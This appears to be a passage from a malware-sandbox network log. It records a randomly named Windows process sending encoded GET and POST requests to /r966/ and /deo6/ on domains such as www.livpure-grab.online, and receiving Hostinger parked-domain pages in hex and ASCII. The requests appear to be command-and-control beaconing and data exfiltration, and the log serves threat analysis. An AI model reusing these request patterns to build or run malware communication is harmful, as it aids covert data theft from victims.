XTE/iOKKodt75NS+dY+pwzqx8ZRfrUKky18gr1TrjCVQ8/1Zw+WayRlYciuvodKDGn9oA6SSVRga+Rl8YmFTTCa6RkR1HFCTxGXVukHjYWH7ZGCudZAlya24jPI1wwXxY8xVoU7PgUo4v5NqYDJAOBc5r8aODggTShtaYkmrui2pJ7oVx5RNyokGcBL6ThiVimlrlEeMUrMS4yUYO3xw7Q7IZc+mNHYXzzvo9Z/f2PGs+fjXic2+AL+h/wDgAXbZ9kuj1TJcdB9+yBpe+oYERXd4WdvvLGKouq3ZiflF593exwI7nwX3EHXESG9Yv9JZ1+zyz5P2 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50006	84.32.84.32	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:19:14.209057093 CEST	480	OUT	GET /deo6/?7Bohe=NByBCVC4fvk3zNlObrJyagJtuzfI3YQ4Ad7pkV0ATPDcP1/VdlZwhks7LZ4Zlk95UTsGsfg9gVB7u8RemM4hoUvK2Ig2OY9rZRI88AWKe5yd8pSEv6a6wulMHxqZW9lecA==&vD=h0e85v HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.b-ambu.com Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Oct 24, 2024 15:19:15.027726889 CEST	1236	IN	HTTP/1.1 200 OK Server: hcdn Date: Thu, 24 Oct 2024 13:19:14 GMT Content-Type: text/html Content-Length: 10072 Connection: close Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: d663c1a22614092b0ff660635fddd455-int-edge3 Expires: Thu, 24 Oct 2024 13:19:13 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED] Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"
Oct 24, 2024 15:19:15.027750969 CEST	1236	IN	Data Raw: 4f 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b 62 61 Data Ascii: Open Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600
Oct 24, 2024 15:19:15.027761936 CEST	1236	IN	Data Raw: 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 62 61 72 2d 6e 61 76 3e 6c 69 3e 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 Data Ascii: x;font-size:13px;padding-left:5px;padding-right:5px}.navbar-nav>li>a:hover{text-decoration:none;color:#cdc3ea!important}.navbar-nav>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-c
Oct 24, 2024 15:19:15.027821064 CEST	1236	IN	Data Raw: 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 2d 69 6e 76 65 72 73 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f Data Ascii: r:#fff!important}.navbar{border-radius:0!important}.navbar-inverse{background-color:#36344d;border:none}.column-custom-wrap{padding-top:10px 20px}.badge{font-size:12px;line-height:16px;min-height:20px;min-width:20px;vertical-align:middle;text-
Oct 24, 2024 15:19:15.027898073 CEST	848	IN	Data Raw: 65 6c 63 6f 6d 65 2f 69 6d 61 67 65 73 2f 68 6f 73 74 69 6e 67 65 72 2d 6c 6f 67 6f 2e 73 76 67 20 61 6c 74 3d 48 6f 73 74 69 6e 67 65 72 20 77 69 64 74 68 3d 31 32 30 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c Data Ascii: elcome/images/hostinger-logo.svg alt=Hostinger width=120></a></div><div class="collapse navbar-collapse" id=myNavbar><ul class="nav navbar-links navbar-nav navbar-right"><li><a href=https://www.hostinger.com/tutorials rel=nofollow><i aria-hidd
Oct 24, 2024 15:19:15.027909994 CEST	1236	IN	Data Raw: 63 6c 61 73 73 3d 6d 65 73 73 61 67 65 2d 73 75 62 74 69 74 6c 65 3e 48 61 70 70 79 20 74 6f 20 73 65 65 20 79 6f 75 72 20 64 6f 6d 61 69 6e 20 77 69 74 68 20 48 6f 73 74 69 6e 67 65 72 21 3c 2f 64 69 76 3e 3c 70 3e 59 6f 75 72 20 64 6f 6d 61 69 Data Ascii: class=message-subtitle>Happy to see your domain with Hostinger!</div><p>Your domain is active and is using Hostinger nameservers. Take the recommended steps below to continue your journey with Hostinger.</p></div><img src=https://cdn.hostinger
Oct 24, 2024 15:19:15.027920008 CEST	212	IN	Data Raw: 73 74 6f 6d 2d 77 72 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 6f 6c 75 6d 6e 2d 63 75 73 74 6f 6d 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 6f 6c 75 6d 6e 2d 74 69 74 6c 65 3e 43 68 61 6e 67 65 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 73 65 72 76 Data Ascii: stom-wrap"><div class=column-custom><div class=column-title>Change domain nameservers</div><br><p>Manage your domain nameservers in the domain management page of your Hostinger account.</p><br><a href=https://sup
Oct 24, 2024 15:19:15.027930021 CEST	1236	IN	Data Raw: 70 6f 72 74 2e 68 6f 73 74 69 6e 67 65 72 2e 63 6f 6d 2f 65 6e 2f 61 72 74 69 63 6c 65 73 2f 31 36 39 36 37 38 39 2d 68 6f 77 2d 74 6f 2d 63 68 61 6e 67 65 2d 6e 61 6d 65 73 65 72 76 65 72 73 2d 61 74 2d 68 6f 73 74 69 6e 67 65 72 20 72 65 6c 3d Data Ascii: port.hostinger.com/en/articles/1696789-how-to-change-nameservers-at-hostinger rel=nofollow>Change nameservers</a></div></div></div></div></div><script>var punycode=new function(){this.utf16={decode:function(o){for(var r,e,n=[],t=0,a=o.length;t
Oct 24, 2024 15:19:15.027940035 CEST	1236	IN	Data Raw: 30 3c 63 3f 63 2b 31 3a 30 3b 64 3c 45 3b 29 7b 66 6f 72 28 6c 3d 66 2c 70 3d 31 2c 67 3d 6f 3b 3b 67 2b 3d 6f 29 7b 69 66 28 45 3c 3d 64 29 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 70 75 6e 79 63 6f 64 65 5f 62 61 64 5f 69 6e 70 75 Data Ascii: 0<c?c+1:0;d<E;){for(l=f,p=1,g=o;;g+=o){if(E<=d)throw RangeError("punycode_bad_input(1)");if(v=e.charCodeAt(d++),o<=(s=v-48<10?v-22:v-65<26?v-65:v-97<26?v-97:o))throw RangeError("punycode_bad_input(2)");if(s>Math.floor((r-f)/p))throw RangeError
Oct 24, 2024 15:19:15.027952909 CEST	700	IN	Data Raw: 72 66 6c 6f 77 28 32 29 22 29 3b 69 66 28 43 3d 3d 68 29 7b 66 6f 72 28 70 3d 66 2c 67 3d 6f 3b 21 28 70 3c 28 73 3d 67 3c 3d 75 3f 31 3a 75 2b 32 36 3c 3d 67 3f 32 36 3a 67 2d 75 29 29 3b 67 2b 3d 6f 29 79 2e 70 75 73 68 28 53 74 72 69 6e 67 2e Data Ascii: rflow(2)");if(C==h){for(p=f,g=o;!(p<(s=g<=u?1:u+26<=g?26:g-u));g+=o)y.push(String.fromCharCode(e(s+(p-s)%(o-s),0))),p=Math.floor((p-s)/(o-s));y.push(String.fromCharCode(e(p,a&&w[d]?1:0))),u=n(f,i+1,i==c),f=0,++i}}++f,++h}return y.join("")},thi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50007	84.32.84.32	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:19:20.224915981 CEST	761	OUT	POST /r966/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.livpure-grab.online Origin: http://www.livpure-grab.online Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 206 Referer: http://www.livpure-grab.online/r966/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 66 76 63 54 4e 52 6a 42 34 35 66 6d 65 57 57 6e 63 64 43 51 70 5a 4d 66 6e 77 57 66 59 46 66 32 6b 45 45 6e 75 30 36 2b 35 7a 59 56 55 65 79 76 73 75 71 4f 53 49 79 73 36 36 74 33 4e 38 76 67 55 57 75 6a 71 48 61 77 4d 47 48 35 48 34 32 31 74 4b 72 4f 61 4f 34 33 71 59 71 6b 69 55 64 31 63 4c 51 5a 44 78 63 34 5a 37 63 51 79 30 4d 51 50 32 67 46 30 7a 4b 72 46 71 6b 79 79 61 55 35 48 57 4f 45 66 6f 6a 35 6a 41 30 76 72 36 4f 32 49 2f 54 6a 42 38 4a 62 46 36 49 32 65 5a 34 43 6f 4c 44 2f 6b 41 2b 55 6d 71 42 54 76 77 6b 42 50 32 4b 42 66 55 46 37 61 4b 38 6a 62 59 55 32 48 63 50 66 63 4d 6f 3d Data Ascii: 7Bohe=fvcTNRjB45fmeWWncdCQpZMfnwWfYFf2kEEnu06+5zYVUeyvsuqOSIys66t3N8vgUWujqHawMGH5H421tKrOaO43qYqkiUd1cLQZDxc4Z7cQy0MQP2gF0zKrFqkyyaU5HWOEfoj5jA0vr6O2I/TjB8JbF6I2eZ4CoLD/kA+UmqBTvwkBP2KBfUF7aK8jbYU2HcPfcMo=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50008	84.32.84.32	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:19:22.776475906 CEST	781	OUT	POST /r966/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.livpure-grab.online Origin: http://www.livpure-grab.online Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 226 Referer: http://www.livpure-grab.online/r966/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 66 76 63 54 4e 52 6a 42 34 35 66 6d 63 32 47 6e 50 38 43 51 73 35 4d 63 6f 51 57 66 58 6c 66 79 6b 45 49 6e 75 78 44 6a 35 68 38 56 58 2f 43 76 2b 2f 71 4f 54 49 79 73 39 4b 74 75 43 63 76 70 55 57 71 4e 71 47 4b 77 4d 47 54 35 48 36 75 31 74 36 58 4a 62 65 34 70 32 59 71 6d 2f 6b 64 31 63 4c 51 5a 44 78 59 53 5a 37 55 51 79 45 63 51 4f 56 34 47 33 7a 4c 5a 43 71 6b 79 34 36 55 39 48 57 4f 69 66 71 58 66 6a 45 45 76 72 2f 4b 32 4c 72 6e 67 59 4d 4a 52 50 61 4a 5a 5a 70 64 6d 68 5a 33 41 6b 41 6a 48 7a 4c 70 33 6e 6d 4a 72 56 55 43 70 4d 30 70 44 4b 5a 30 55 4b 6f 31 66 64 2f 66 76 43 62 39 6c 66 63 66 33 4e 63 4f 69 62 30 30 6e 62 4c 48 2b 61 57 47 49 Data Ascii: 7Bohe=fvcTNRjB45fmc2GnP8CQs5McoQWfXlfykEInuxDj5h8VX/Cv+/qOTIys9KtuCcvpUWqNqGKwMGT5H6u1t6XJbe4p2Yqm/kd1cLQZDxYSZ7UQyEcQOV4G3zLZCqky46U9HWOifqXfjEEvr/K2LrngYMJRPaJZZpdmhZ3AkAjHzLp3nmJrVUCpM0pDKZ0UKo1fd/fvCb9lfcf3NcOib00nbLH+aWGI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50009	84.32.84.32	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:19:25.327523947 CEST	1798	OUT	POST /r966/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.livpure-grab.online Origin: http://www.livpure-grab.online Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1242 Referer: http://www.livpure-grab.online/r966/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 66 76 63 54 4e 52 6a 42 34 35 66 6d 63 32 47 6e 50 38 43 51 73 35 4d 63 6f 51 57 66 58 6c 66 79 6b 45 49 6e 75 78 44 6a 35 68 30 56 55 4e 6d 76 73 4d 43 4f 51 49 79 73 2b 4b 74 72 43 63 75 70 55 57 53 4a 71 47 48 4c 4d 45 72 35 45 5a 6d 31 70 34 7a 4a 43 4f 34 70 39 34 71 6e 69 55 64 61 63 50 38 64 44 77 6f 53 5a 37 55 51 79 43 67 51 65 32 67 47 78 7a 4b 72 46 71 6b 32 79 61 55 5a 48 57 57 63 66 71 53 69 6a 31 34 76 6f 66 36 32 45 2b 54 67 48 38 4a 58 4d 61 4a 42 5a 70 68 35 68 64 57 78 6b 44 2b 63 7a 49 35 33 30 43 63 58 4b 33 61 54 65 56 4a 79 4b 49 31 30 54 63 42 61 43 74 65 61 66 61 4a 72 65 4f 54 34 45 71 2b 54 57 56 39 31 50 4e 50 52 56 67 50 50 71 39 61 66 42 44 74 53 41 49 54 33 43 65 63 78 6d 6a 2f 37 61 59 6b 50 42 4b 4e 56 61 43 67 6a 67 7a 6d 4e 79 68 7a 6d 49 2f 49 75 66 46 4b 72 78 75 58 50 76 5a 39 30 79 35 4e 57 79 51 4c 50 70 65 70 2f 54 33 2f 55 32 34 72 4c 35 47 55 54 57 55 54 61 4d 50 6f 6e 6d 6c 35 58 32 2f 54 30 79 65 64 72 6f 44 2b 71 49 6d 61 59 6e 6f 47 4e [TRUNCATED] Data Ascii: 7Bohe=fvcTNRjB45fmc2GnP8CQs5McoQWfXlfykEInuxDj5h0VUNmvsMCOQIys+KtrCcupUWSJqGHLMEr5EZm1p4zJCO4p94qniUdacP8dDwoSZ7UQyCgQe2gGxzKrFqk2yaUZHWWcfqSij14vof62E+TgH8JXMaJBZph5hdWxkD+czI530CcXK3aTeVJyKI10TcBaCteafaJreOT4Eq+TWV91PNPRVgPPq9afBDtSAIT3Cecxmj/7aYkPBKNVaCgjgzmNyhzmI/IufFKrxuXPvZ90y5NWyQLPpep/T3/U24rL5GUTWUTaMPonml5X2/T0yedroD+qImaYnoGNfTxck4w8dySrvlXzWHgq34yuAKQLW/0/Rr8Y09g4+pjNuLyj/2AfImuMr8phJjna/eKZQYkEcS1qi6IXj25tmkhKVYNV/9vds+Q9NmyTp0WMvRtdYPLrL2R20+GI3Zr+N4lakviGdCayN5VKyFH0rFVwCqFvIsxfw1aINtj4vnM8o7w6DoVB5rXBD1gYtsnuX9cmInMiyNi9KI6cmS0GJzv/wZ8wHyXxpjjHQMQzS5nzl1B6sXRqnK4xal+vD7wuOCyLFD2TJ/v5rDSe5GEcAck9OJsZLeFDQWYklaEGbAB3fBF69flUslIdmaposbC4E6NUNDKzOaXCPY9IBYOTRX6jdWAChwMZExFNAYX6U4T7rDRQjS6GkkvtMJ7vjWhdkE/GkbcinlyeA+j5rOo2SvDsxE/9BhlG1+b+fYfmYD3TSa2EqaNcsUSsDT2iv3IeIcDq6sLUlSNe0F4uH5b32tFuSX3kW9O4f17uC0zNJMvjs2x/t18gUE6j1UiS6wo4d/rIqFkP2Lmp5pFDh7NdHEvChTKmbZyPBdxO4LXi3WtmCnksBNtjJEs8RAEj8MlLWyQnsNr2OYZtD9Ow76joR9ZTw4B0xkdGtXjiYq/4QLKMOdOzxV0Dosl5HHs2bJzPSGYcPkP5i9fB/zMI+trB4wXIOt4EACt/OV [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50010	84.32.84.32	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:19:27.867914915 CEST	489	OUT	GET /r966/?vD=h0e85v&7Bohe=St0zOmS57JvxXHngaoKRrYwJhw67SG7V3FAZs2TYvCYNXtW49c+AatXE2ZBTP/KNdGCD9DmtL2naWYac77vyUP4q1YSJ6U5Kf8MwRQ43aJ1o9SgGH2ER+UvSNI1J5J1sVQ== HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.livpure-grab.online Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Oct 24, 2024 15:19:28.733262062 CEST	1236	IN	HTTP/1.1 200 OK Server: hcdn Date: Thu, 24 Oct 2024 13:19:28 GMT Content-Type: text/html Content-Length: 10072 Connection: close Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 x-hcdn-request-id: 7ca042d3e2b5c540dd4446897761e89f-int-edge1 Expires: Thu, 24 Oct 2024 13:19:27 GMT Cache-Control: no-cache Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 74 69 74 6c 65 3e 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 50 61 72 6b 65 64 20 44 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 20 48 6f 73 74 69 6e 67 65 72 20 44 4e 53 20 73 79 73 74 65 6d 22 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f [TRUNCATED] Data Ascii: <!doctype html><title>Parked Domain name on Hostinger DNS system</title><meta charset=utf-8><meta content="IE=edge,chrome=1" http-equiv=X-UA-Compatible><meta content="Parked Domain name on Hostinger DNS system" name=description><meta content="width=device-width,initial-scale=1" name=viewport><link href=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js></script><script src=https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js></script><link href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css rel=stylesheet><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel=stylesheet><style>html{height:100%}body{font-family:"
Oct 24, 2024 15:19:28.733275890 CEST	1236	IN	Data Raw: 4f 70 65 6e 20 53 61 6e 73 22 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 32 38 3b 62 61 Data Ascii: Open Sans",Helvetica,sans-serif;color:#000;padding:0;margin:0;line-height:1.428;background:linear-gradient(10.7deg,#e9edfb -50.21%,#f6f8fd 31.11%,#fff 166.02%)}h1,h2,h3,h4,h5,h6,p{padding:0;margin:0;color:#333}h1{font-size:30px;font-weight:600
Oct 24, 2024 15:19:28.733319998 CEST	1236	IN	Data Raw: 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 35 70 78 7d 2e 6e 61 76 62 61 72 2d 6e 61 76 3e 6c 69 3e 61 3a 68 6f 76 65 72 7b 74 65 78 74 2d 64 65 Data Ascii: x;font-size:13px;padding-left:5px;padding-right:5px}.navbar-nav>li>a:hover{text-decoration:none;color:#cdc3ea!important}.navbar-nav>li>a i{margin-right:5px}.nav-bar img{position:relative;top:3px}.congratz{margin:0 auto;text-align:center}.top-c
Oct 24, 2024 15:19:28.733330965 CEST	1236	IN	Data Raw: 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6e 61 76 62 61 72 2d 69 6e 76 65 72 73 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f Data Ascii: r:#fff!important}.navbar{border-radius:0!important}.navbar-inverse{background-color:#36344d;border:none}.column-custom-wrap{padding-top:10px 20px}.badge{font-size:12px;line-height:16px;min-height:20px;min-width:20px;vertical-align:middle;text-
Oct 24, 2024 15:19:28.733342886 CEST	848	IN	Data Raw: 65 6c 63 6f 6d 65 2f 69 6d 61 67 65 73 2f 68 6f 73 74 69 6e 67 65 72 2d 6c 6f 67 6f 2e 73 76 67 20 61 6c 74 3d 48 6f 73 74 69 6e 67 65 72 20 77 69 64 74 68 3d 31 32 30 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c Data Ascii: elcome/images/hostinger-logo.svg alt=Hostinger width=120></a></div><div class="collapse navbar-collapse" id=myNavbar><ul class="nav navbar-links navbar-nav navbar-right"><li><a href=https://www.hostinger.com/tutorials rel=nofollow><i aria-hidd
Oct 24, 2024 15:19:28.733352900 CEST	1236	IN	Data Raw: 63 6c 61 73 73 3d 6d 65 73 73 61 67 65 2d 73 75 62 74 69 74 6c 65 3e 48 61 70 70 79 20 74 6f 20 73 65 65 20 79 6f 75 72 20 64 6f 6d 61 69 6e 20 77 69 74 68 20 48 6f 73 74 69 6e 67 65 72 21 3c 2f 64 69 76 3e 3c 70 3e 59 6f 75 72 20 64 6f 6d 61 69 Data Ascii: class=message-subtitle>Happy to see your domain with Hostinger!</div><p>Your domain is active and is using Hostinger nameservers. Take the recommended steps below to continue your journey with Hostinger.</p></div><img src=https://cdn.hostinger
Oct 24, 2024 15:19:28.733366013 CEST	1236	IN	Data Raw: 73 74 6f 6d 2d 77 72 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 6f 6c 75 6d 6e 2d 63 75 73 74 6f 6d 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 6f 6c 75 6d 6e 2d 74 69 74 6c 65 3e 43 68 61 6e 67 65 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 73 65 72 76 Data Ascii: stom-wrap"><div class=column-custom><div class=column-title>Change domain nameservers</div><br><p>Manage your domain nameservers in the domain management page of your Hostinger account.</p><br><a href=https://support.hostinger.com/en/articles/
Oct 24, 2024 15:19:28.733375072 CEST	424	IN	Data Raw: 65 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 61 3d 31 32 38 2c 66 3d 30 2c 69 3d 37 32 2c 28 63 3d 65 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 2d 22 29 29 3c 30 26 26 28 63 3d 30 29 2c 75 3d 30 3b 75 3c 63 3b 2b 2b 75 29 7b 69 66 28 74 26 26 28 79 5b Data Ascii: e.length;for(a=128,f=0,i=72,(c=e.lastIndexOf("-"))<0&&(c=0),u=0;u<c;++u){if(t&&(y[m.length]=e.charCodeAt(u)-65<26),128<=e.charCodeAt(u))throw new RangeError("Illegal input >= 0x80");m.push(e.charCodeAt(u))}for(d=0<c?c+1:0;d<E;){for(l=f,p=1,g=o
